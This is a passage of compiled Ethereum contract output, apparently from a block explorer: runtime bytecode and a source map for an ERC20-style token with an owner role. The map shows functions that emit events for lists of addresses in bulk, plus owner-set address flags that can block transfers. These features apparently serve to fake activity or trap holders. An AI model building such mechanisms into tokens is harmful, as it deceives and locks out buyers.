60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b91578082015181840152602081019050611b76565b60008484015250505050565b6000601f19601f8301169050919050565b6000611bb982611b57565b611bc38185611b62565b9350611bd3818560208601611b73565b611bdc81611b9d565b840191505092915050565b60006020820190508181036000830152611c018184611bae565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c3e82611c13565b9050919050565b611c4e81611c33565b8114611c5957600080fd5b50565b600081359050611c6b81611c45565b92915050565b6000819050919050565b611c8481611c71565b8114611c8f57600080fd5b50565b600081359050611ca181611c7b565b92915050565b60008060408385031215611cbe57611cbd611c09565b5b6000611ccc85828601611c5c565b9250506020611cdd85828601611c92565b9150509250929050565b60008115159050919050565b611cfc81611ce7565b82525050565b6000602082019050611d176000830184611cf3565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611d4257611d41611d1d565b5b8235905067ffffffffffffffff811115611d5f57611d5e611d22565b5b602083019150836020820283011115611d7b57611d7a611d27565b5b9250929050565b60008060008060608587031215611d9c57611d9b611c09565b5b600085013567ffffffffffffffff811115611dba57611db9611c0e565b5b611dc687828801611d2c565b94509450506020611dd987828801611c92565b9250506040611dea87828801611c92565b91505092959194509250565b611dff81611c71565b82525050565b6000602082019050611e1a6000830184611df6565b92915050565b600060208284031215611e3657611e35611c09565b5b6000611e4484828501611c5c565b91505092915050565b600080600060608486031215611e6657611e65611c09565b5b6000611e7486828701611c5c565b9350506020611e8586828701611c5c565b9250506040611e9686828701611c92565b9150509250925092565b600060ff82169050919050565b611eb681611ea0565b82525050565b6000602082019050611ed16000830184611ead565b92915050565b60008060208385031215611eee57611eed611c09565b5b600083013567ffffffffffffffff811115611f0c57611f0b611c0e565b5b611f1885828601611d2c565b92509250509250929050565b60008083601f840112611f3a57611f39611d1d565b5b8235905067ffffffffffffffff811115611f5757611f56611d22565b5b602083019150836020820283011115611f7357611f72611d27565b5b9250929050565b60008060008060008060608789031215611f9757611f96611c09565b5b600087013567ffffffffffffffff811115611fb557611fb4611c0e565b5b611fc189828a01611d2c565b9650965050602087013567ffffffffffffffff811115611fe457611fe3611c0e565b5b611ff089828a01611d2c565b9450945050604087013567ffffffffffffffff81111561201357612012611c0e565b5b61201f89828a01611f24565b92509250509295509295509295565b61203781611c33565b82525050565b6000602082019050612052600083018461202e565b92915050565b6000806040838503121561206f5761206e611c09565b5b600061207d85828601611c5c565b925050602061208e85828601611c5c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806120df57607f821691505b6020821081036120f2576120f1612098565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b600061215661215161214c84612127565b612131565b611c71565b9050919050565b6121668161213b565b82525050565b6000608082019050612181600083018761215d565b61218e6020830186611df6565b61219b6040830185611df6565b6121a8606083018461215d565b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006121eb82611c71565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361221d5761221c6121b1565b5b600182019050919050565b600061223382611c71565b915061223e83611c71565b9250828201905080821115612256576122556121b1565b5b92915050565b60006080820190506122716000830187611df6565b61227e602083018661215d565b61228b604083018561215d565b6122986060830184611df6565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006122fd602583611b62565b9150612308826122a1565b604082019050919050565b6000602082019050818103600083015261232c816122f0565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061238f602683611b62565b915061239a82612333565b604082019050919050565b600060208201905081810360008301526123be81612382565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612421602483611b62565b915061242c826123c5565b604082019050919050565b6000602082019050818103600083015261245081612414565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006124b3602283611b62565b91506124be82612457565b604082019050919050565b600060208201905081810360008301526124e2816124a6565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061251f602083611b62565b915061252a826124e9565b602082019050919050565b6000602082019050818103600083015261254e81612512565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600061258b601d83611b62565b915061259682612555565b602082019050919050565b600060208201905081810360008301526125ba8161257e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061261d602583611b62565b9150612628826125c1565b604082019050919050565b6000602082019050818103600083015261264c81612610565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006126af602383611b62565b91506126ba82612653565b604082019050919050565b600060208201905081810360008301526126de816126a2565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612741602683611b62565b915061274c826126e5565b604082019050919050565b6000602082019050818103600083015261277081612734565b9050919050565b50565b6000612787600083611b62565b915061279282612777565b600082019050919050565b600060208201905081810360008301526127b68161277a565b905091905056fea2646970667358221220fb722058104f983a5bad3986dc6072a14d4614538fc61b91fe2a8eca13a4e0ce64736f6c63430008120033

Deployed Bytecode Sourcemap

24668:139:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11097:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15749:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13417:343;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14518:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10949:78;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16530:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12059:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17234:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14346:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14136:202;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12735:374;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14689:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13895:233;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7946:103;;;:::i;:::-;;12160:268;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13117:292;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7305:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11316:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12436:291;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17975:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15022:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13768:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15278:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8204:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11097:100;11151:13;11184:5;11177:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11097:100;:::o;15749:201::-;15832:4;15849:13;15865:12;:10;:12::i;:::-;15849:28;;15888:32;15897:5;15904:7;15913:6;15888:8;:32::i;:::-;15938:4;15931:11;;;15749:201;;;;:::o;13417:343::-;13533:9;13528:225;13552:11;;:18;;13548:1;:22;13528:225;;;13625:11;;13637:1;13625:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;13597:43;;13602:4;;;;;;;;;;;13597:43;;;13608:1;13611:3;13616:4;13622:1;13597:43;;;;;;;;;:::i;:::-;;;;;;;;13685:4;;;;;;;;;;;13660:35;;13669:11;;13681:1;13669:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;13660:35;;;13691:3;13660:35;;;;;;:::i;:::-;;;;;;;;13730:5;;;;;;;;;;;13715:26;;13724:4;;;;;;;;;;;13715:26;;;13737:3;13715:26;;;;;;:::i;:::-;;;;;;;;13572:3;;;;;:::i;:::-;;;;13528:225;;;;13417:343;;;;:::o;14518:108::-;14579:7;14606:12;;14599:19;;14518:108;:::o;10949:78::-;7191:13;:11;:13::i;:::-;11015:4:::1;11007:5;;:12;;;;;;;;;;;;;;;;;;10949:78:::0;:::o;16530:295::-;16661:4;16678:15;16696:12;:10;:12::i;:::-;16678:30;;16719:38;16735:4;16741:7;16750:6;16719:15;:38::i;:::-;16768:27;16778:4;16784:2;16788:6;16768:9;:27::i;:::-;16813:4;16806:11;;;16530:295;;;;;:::o;12059:93::-;12117:5;12142:2;12135:9;;12059:93;:::o;17234:238::-;17322:4;17339:13;17355:12;:10;:12::i;:::-;17339:28;;17378:64;17387:5;17394:7;17431:10;17403:25;17413:5;17420:7;17403:9;:25::i;:::-;:38;;;;:::i;:::-;17378:8;:64::i;:::-;17460:4;17453:11;;;17234:238;;;;:::o;14346:107::-;14405:4;14429:5;:16;14435:9;14429:16;;;;;;;;;;;;;;;;;;;;;;;;;14422:23;;14346:107;;;:::o;14136:202::-;7191:13;:11;:13::i;:::-;14231:9:::1;14226:105;14250:11;;:18;;14246:1;:22;14226:105;;;14314:5;14290;:21;14296:11;;14308:1;14296:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;14290:21;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;14270:3;;;;;:::i;:::-;;;;14226:105;;;;14136:202:::0;;:::o;12735:374::-;12880:9;12875:227;12899:11;;:18;;12895:1;:22;12875:227;;;12972:11;;12984:1;12972:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12944:43;;12949:4;;;;;;;;;;;12944:43;;;12955:3;12960:1;12963;12966:4;12944:43;;;;;;;;;:::i;:::-;;;;;;;;13023:4;;;;;;;;;;;13007:27;;13016:5;;;;;;;;;;;13007:27;;;13029:4;13007:27;;;;;;:::i;:::-;;;;;;;;13069:11;;13081:1;13069:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;13054:36;;13063:4;;;;;;;;;;;13054:36;;;13085:4;13054:36;;;;;;:::i;:::-;;;;;;;;12919:3;;;;;:::i;:::-;;;;12875:227;;;;12735:374;;;;:::o;14689:127::-;14763:7;14790:9;:18;14800:7;14790:18;;;;;;;;;;;;;;;;14783:25;;14689:127;;;:::o;13895:233::-;14016:9;14011:110;14035:5;;:12;;14031:1;:16;14011:110;;;14093:3;;14097:1;14093:6;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;14074:35;;14083:5;;14089:1;14083:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;14074:35;;;14101:4;;14106:1;14101:7;;;;;;;:::i;:::-;;;;;;;;14074:35;;;;;;:::i;:::-;;;;;;;;14049:3;;;;;:::i;:::-;;;;14011:110;;;;13895:233;;;;;;:::o;7946:103::-;7191:13;:11;:13::i;:::-;8011:30:::1;8038:1;8011:18;:30::i;:::-;7946:103::o:0;12160:268::-;7191:13;:11;:13::i;:::-;12245:9:::1;12240:181;12264:11;;:18;;12260:1;:22;12240:181;;;12328:4;12304:5;:21;12310:11;;12322:1;12310:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12304:21;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;12377:4;;;;;;;;;;;12352:57;;12361:11;;12373:1;12361:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12352:57;;;12383:25;12393:11;;12405:1;12393:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12383:9;:25::i;:::-;12352:57;;;;;;:::i;:::-;;;;;;;;12284:3;;;;;:::i;:::-;;;;12240:181;;;;12160:268:::0;;:::o;13117:292::-;13221:9;13216:186;13240:11;;:18;;13236:1;:22;13216:186;;;13319:11;;13331:1;13319:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;13285:49;;13290:10;;;;;;;;;;;13285:49;;;13302:1;13305:3;13310:4;13316:1;13285:49;;;;;;;;;:::i;:::-;;;;;;;;13379:5;;;;;;;;;;;13354:36;;13363:11;;13375:1;13363:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;13354:36;;;13386:3;13354:36;;;;;;:::i;:::-;;;;;;;;13260:3;;;;;:::i;:::-;;;;13216:186;;;;13117:292;;;;:::o;7305:87::-;7351:7;7378:6;;;;;;;;;;;7371:13;;7305:87;:::o;11316:104::-;11372:13;11405:7;11398:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11316:104;:::o;12436:291::-;12538:9;12533:187;12557:11;;:18;;12553:1;:22;12533:187;;;12636:11;;12648:1;12636:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12602:49;;12607:10;;;;;;;;;;;12602:49;;;12619:3;12624:1;12627;12630:4;12602:49;;;;;;;;;:::i;:::-;;;;;;;;12687:11;;12699:1;12687:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12671:37;;12680:5;;;;;;;;;;;12671:37;;;12703:4;12671:37;;;;;;:::i;:::-;;;;;;;;12577:3;;;;;:::i;:::-;;;;12533:187;;;;12436:291;;;;:::o;17975:436::-;18068:4;18085:13;18101:12;:10;:12::i;:::-;18085:28;;18124:24;18151:25;18161:5;18168:7;18151:9;:25::i;:::-;18124:52;;18215:15;18195:16;:35;;18187:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;18308:60;18317:5;18324:7;18352:15;18333:16;:34;18308:8;:60::i;:::-;18399:4;18392:11;;;;17975:436;;;;:::o;15022:193::-;15101:4;15118:13;15134:12;:10;:12::i;:::-;15118:28;;15157;15167:5;15174:2;15178:6;15157:9;:28::i;:::-;15203:4;15196:11;;;15022:193;;;;:::o;13768:119::-;13869:3;13853:26;;13862:5;13853:26;;;13874:4;13853:26;;;;;;:::i;:::-;;;;;;;;13768:119;;;:::o;15278:151::-;15367:7;15394:11;:18;15406:5;15394:18;;;;;;;;;;;;;;;:27;15413:7;15394:27;;;;;;;;;;;;;;;;15387:34;;15278:151;;;;:::o;8204:201::-;7191:13;:11;:13::i;:::-;8313:1:::1;8293:22;;:8;:22;;::::0;8285:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;8369:28;8388:8;8369:18;:28::i;:::-;8204:201:::0;:::o;6014:98::-;6067:7;6094:10;6087:17;;6014:98;:::o;22078:380::-;22231:1;22214:19;;:5;:19;;;22206:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;22312:1;22293:21;;:7;:21;;;22285:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;22396:6;22366:11;:18;22378:5;22366:18;;;;;;;;;;;;;;;:27;22385:7;22366:27;;;;;;;;;;;;;;;:36;;;;22434:7;22418:32;;22427:5;22418:32;;;22443:6;22418:32;;;;;;:::i;:::-;;;;;;;;22078:380;;;:::o;7470:132::-;7545:12;:10;:12::i;:::-;7534:23;;:7;:5;:7::i;:::-;:23;;;7526:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7470:132::o;22749:453::-;22884:24;22911:25;22921:5;22928:7;22911:9;:25::i;:::-;22884:52;;22971:17;22951:16;:37;22947:248;;23033:6;23013:16;:26;;23005:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;23117:51;23126:5;23133:7;23161:6;23142:16;:25;23117:8;:51::i;:::-;22947:248;22873:329;22749:453;;;:::o;18881:916::-;19028:1;19012:18;;:4;:18;;;19004:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;19105:1;19091:16;;:2;:16;;;19083:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;19160:38;19181:4;19187:2;19191:6;19160:20;:38::i;:::-;19211:19;19233:9;:15;19243:4;19233:15;;;;;;;;;;;;;;;;19211:37;;19282:6;19267:11;:21;;19259:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;19399:6;19385:11;:20;19367:9;:15;19377:4;19367:15;;;;;;;;;;;;;;;:38;;;;19602:6;19585:9;:13;19595:2;19585:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;19634:5;:11;19640:4;19634:11;;;;;;;;;;;;;;;;;;;;;;;;;:24;;;;19649:5;:9;19655:2;19649:9;;;;;;;;;;;;;;;;;;;;;;;;;19634:24;19630:63;;;19684:4;19668:20;;:12;;;;;;;;;;;:20;;;19660:33;;;;;;;;;;;;:::i;:::-;;;;;;;;;19630:63;19728:2;19713:26;;19722:4;19713:26;;;19732:6;19713:26;;;;;;:::i;:::-;;;;;;;;19752:37;19772:4;19778:2;19782:6;19752:19;:37::i;:::-;18993:804;18881:916;;;:::o;8565:191::-;8639:16;8658:6;;;;;;;;;;;8639:25;;8684:8;8675:6;;:17;;;;;;;;;;;;;;;;;;8739:8;8708:40;;8729:8;8708:40;;;;;;;;;;;;8628:128;8565:191;:::o;24534:125::-;;;;:::o;23806:124::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:117::-;3555:1;3552;3545:12;3569:117;3678:1;3675;3668:12;3692:117;3801:1;3798;3791:12;3832:568;3905:8;3915:6;3965:3;3958:4;3950:6;3946:17;3942:27;3932:122;;3973:79;;:::i;:::-;3932:122;4086:6;4073:20;4063:30;;4116:18;4108:6;4105:30;4102:117;;;4138:79;;:::i;:::-;4102:117;4252:4;4244:6;4240:17;4228:29;;4306:3;4298:4;4290:6;4286:17;4276:8;4272:32;4269:41;4266:128;;;4313:79;;:::i;:::-;4266:128;3832:568;;;;;:::o;4406:849::-;4510:6;4518;4526;4534;4583:2;4571:9;4562:7;4558:23;4554:32;4551:119;;;4589:79;;:::i;:::-;4551:119;4737:1;4726:9;4722:17;4709:31;4767:18;4759:6;4756:30;4753:117;;;4789:79;;:::i;:::-;4753:117;4902:80;4974:7;4965:6;4954:9;4950:22;4902:80;:::i;:::-;4884:98;;;;4680:312;5031:2;5057:53;5102:7;5093:6;5082:9;5078:22;5057:53;:::i;:::-;5047:63;;5002:118;5159:2;5185:53;5230:7;5221:6;5210:9;5206:22;5185:53;:::i;:::-;5175:63;;5130:118;4406:849;;;;;;;:::o;5261:118::-;5348:24;5366:5;5348:24;:::i;:::-;5343:3;5336:37;5261:118;;:::o;5385:222::-;5478:4;5516:2;5505:9;5501:18;5493:26;;5529:71;5597:1;5586:9;5582:17;5573:6;5529:71;:::i;:::-;5385:222;;;;:::o;5613:329::-;5672:6;5721:2;5709:9;5700:7;5696:23;5692:32;5689:119;;;5727:79;;:::i;:::-;5689:119;5847:1;5872:53;5917:7;5908:6;5897:9;5893:22;5872:53;:::i;:::-;5862:63;;5818:117;5613:329;;;;:::o;5948:619::-;6025:6;6033;6041;6090:2;6078:9;6069:7;6065:23;6061:32;6058:119;;;6096:79;;:::i;:::-;6058:119;6216:1;6241:53;6286:7;6277:6;6266:9;6262:22;6241:53;:::i;:::-;6231:63;;6187:117;6343:2;6369:53;6414:7;6405:6;6394:9;6390:22;6369:53;:::i;:::-;6359:63;;6314:118;6471:2;6497:53;6542:7;6533:6;6522:9;6518:22;6497:53;:::i;:::-;6487:63;;6442:118;5948:619;;;;;:::o;6573:86::-;6608:7;6648:4;6641:5;6637:16;6626:27;;6573:86;;;:::o;6665:112::-;6748:22;6764:5;6748:22;:::i;:::-;6743:3;6736:35;6665:112;;:::o;6783:214::-;6872:4;6910:2;6899:9;6895:18;6887:26;;6923:67;6987:1;6976:9;6972:17;6963:6;6923:67;:::i;:::-;6783:214;;;;:::o;7003:559::-;7089:6;7097;7146:2;7134:9;7125:7;7121:23;7117:32;7114:119;;;7152:79;;:::i;:::-;7114:119;7300:1;7289:9;7285:17;7272:31;7330:18;7322:6;7319:30;7316:117;;;7352:79;;:::i;:::-;7316:117;7465:80;7537:7;7528:6;7517:9;7513:22;7465:80;:::i;:::-;7447:98;;;;7243:312;7003:559;;;;;:::o;7585:568::-;7658:8;7668:6;7718:3;7711:4;7703:6;7699:17;7695:27;7685:122;;7726:79;;:::i;:::-;7685:122;7839:6;7826:20;7816:30;;7869:18;7861:6;7858:30;7855:117;;;7891:79;;:::i;:::-;7855:117;8005:4;7997:6;7993:17;7981:29;;8059:3;8051:4;8043:6;8039:17;8029:8;8025:32;8022:41;8019:128;;;8066:79;;:::i;:::-;8019:128;7585:568;;;;;:::o;8159:1309::-;8317:6;8325;8333;8341;8349;8357;8406:2;8394:9;8385:7;8381:23;8377:32;8374:119;;;8412:79;;:::i;:::-;8374:119;8560:1;8549:9;8545:17;8532:31;8590:18;8582:6;8579:30;8576:117;;;8612:79;;:::i;:::-;8576:117;8725:80;8797:7;8788:6;8777:9;8773:22;8725:80;:::i;:::-;8707:98;;;;8503:312;8882:2;8871:9;8867:18;8854:32;8913:18;8905:6;8902:30;8899:117;;;8935:79;;:::i;:::-;8899:117;9048:80;9120:7;9111:6;9100:9;9096:22;9048:80;:::i;:::-;9030:98;;;;8825:313;9205:2;9194:9;9190:18;9177:32;9236:18;9228:6;9225:30;9222:117;;;9258:79;;:::i;:::-;9222:117;9371:80;9443:7;9434:6;9423:9;9419:22;9371:80;:::i;:::-;9353:98;;;;9148:313;8159:1309;;;;;;;;:::o;9474:118::-;9561:24;9579:5;9561:24;:::i;:::-;9556:3;9549:37;9474:118;;:::o;9598:222::-;9691:4;9729:2;9718:9;9714:18;9706:26;;9742:71;9810:1;9799:9;9795:17;9786:6;9742:71;:::i;:::-;9598:222;;;;:::o;9826:474::-;9894:6;9902;9951:2;9939:9;9930:7;9926:23;9922:32;9919:119;;;9957:79;;:::i;:::-;9919:119;10077:1;10102:53;10147:7;10138:6;10127:9;10123:22;10102:53;:::i;:::-;10092:63;;10048:117;10204:2;10230:53;10275:7;10266:6;10255:9;10251:22;10230:53;:::i;:::-;10220:63;;10175:118;9826:474;;;;;:::o;10306:180::-;10354:77;10351:1;10344:88;10451:4;10448:1;10441:15;10475:4;10472:1;10465:15;10492:320;10536:6;10573:1;10567:4;10563:12;10553:22;;10620:1;10614:4;10610:12;10641:18;10631:81;;10697:4;10689:6;10685:17;10675:27;;10631:81;10759:2;10751:6;10748:14;10728:18;10725:38;10722:84;;10778:18;;:::i;:::-;10722:84;10543:269;10492:320;;;:::o;10818:180::-;10866:77;10863:1;10856:88;10963:4;10960:1;10953:15;10987:4;10984:1;10977:15;11004:85;11049:7;11078:5;11067:16;;11004:85;;;:::o;11095:60::-;11123:3;11144:5;11137:12;;11095:60;;;:::o;11161:158::-;11219:9;11252:61;11270:42;11279:32;11305:5;11279:32;:::i;:::-;11270:42;:::i;:::-;11252:61;:::i;:::-;11239:74;;11161:158;;;:::o;11325:147::-;11420:45;11459:5;11420:45;:::i;:::-;11415:3;11408:58;11325:147;;:::o;11478:585::-;11671:4;11709:3;11698:9;11694:19;11686:27;;11723:79;11799:1;11788:9;11784:17;11775:6;11723:79;:::i;:::-;11812:72;11880:2;11869:9;11865:18;11856:6;11812:72;:::i;:::-;11894;11962:2;11951:9;11947:18;11938:6;11894:72;:::i;:::-;11976:80;12052:2;12041:9;12037:18;12028:6;11976:80;:::i;:::-;11478:585;;;;;;;:::o;12069:180::-;12117:77;12114:1;12107:88;12214:4;12211:1;12204:15;12238:4;12235:1;12228:15;12255:233;12294:3;12317:24;12335:5;12317:24;:::i;:::-;12308:33;;12363:66;12356:5;12353:77;12350:103;;12433:18;;:::i;:::-;12350:103;12480:1;12473:5;12469:13;12462:20;;12255:233;;;:::o;12494:191::-;12534:3;12553:20;12571:1;12553:20;:::i;:::-;12548:25;;12587:20;12605:1;12587:20;:::i;:::-;12582:25;;12630:1;12627;12623:9;12616:16;;12651:3;12648:1;12645:10;12642:36;;;12658:18;;:::i;:::-;12642:36;12494:191;;;;:::o;12691:585::-;12884:4;12922:3;12911:9;12907:19;12899:27;;12936:71;13004:1;12993:9;12989:17;12980:6;12936:71;:::i;:::-;13017:80;13093:2;13082:9;13078:18;13069:6;13017:80;:::i;:::-;13107;13183:2;13172:9;13168:18;13159:6;13107:80;:::i;:::-;13197:72;13265:2;13254:9;13250:18;13241:6;13197:72;:::i;:::-;12691:585;;;;;;;:::o;13282:224::-;13422:34;13418:1;13410:6;13406:14;13399:58;13491:7;13486:2;13478:6;13474:15;13467:32;13282:224;:::o;13512:366::-;13654:3;13675:67;13739:2;13734:3;13675:67;:::i;:::-;13668:74;;13751:93;13840:3;13751:93;:::i;:::-;13869:2;13864:3;13860:12;13853:19;;13512:366;;;:::o;13884:419::-;14050:4;14088:2;14077:9;14073:18;14065:26;;14137:9;14131:4;14127:20;14123:1;14112:9;14108:17;14101:47;14165:131;14291:4;14165:131;:::i;:::-;14157:139;;13884:419;;;:::o;14309:225::-;14449:34;14445:1;14437:6;14433:14;14426:58;14518:8;14513:2;14505:6;14501:15;14494:33;14309:225;:::o;14540:366::-;14682:3;14703:67;14767:2;14762:3;14703:67;:::i;:::-;14696:74;;14779:93;14868:3;14779:93;:::i;:::-;14897:2;14892:3;14888:12;14881:19;;14540:366;;;:::o;14912:419::-;15078:4;15116:2;15105:9;15101:18;15093:26;;15165:9;15159:4;15155:20;15151:1;15140:9;15136:17;15129:47;15193:131;15319:4;15193:131;:::i;:::-;15185:139;;14912:419;;;:::o;15337:223::-;15477:34;15473:1;15465:6;15461:14;15454:58;15546:6;15541:2;15533:6;15529:15;15522:31;15337:223;:::o;15566:366::-;15708:3;15729:67;15793:2;15788:3;15729:67;:::i;:::-;15722:74;;15805:93;15894:3;15805:93;:::i;:::-;15923:2;15918:3;15914:12;15907:19;;15566:366;;;:::o;15938:419::-;16104:4;16142:2;16131:9;16127:18;16119:26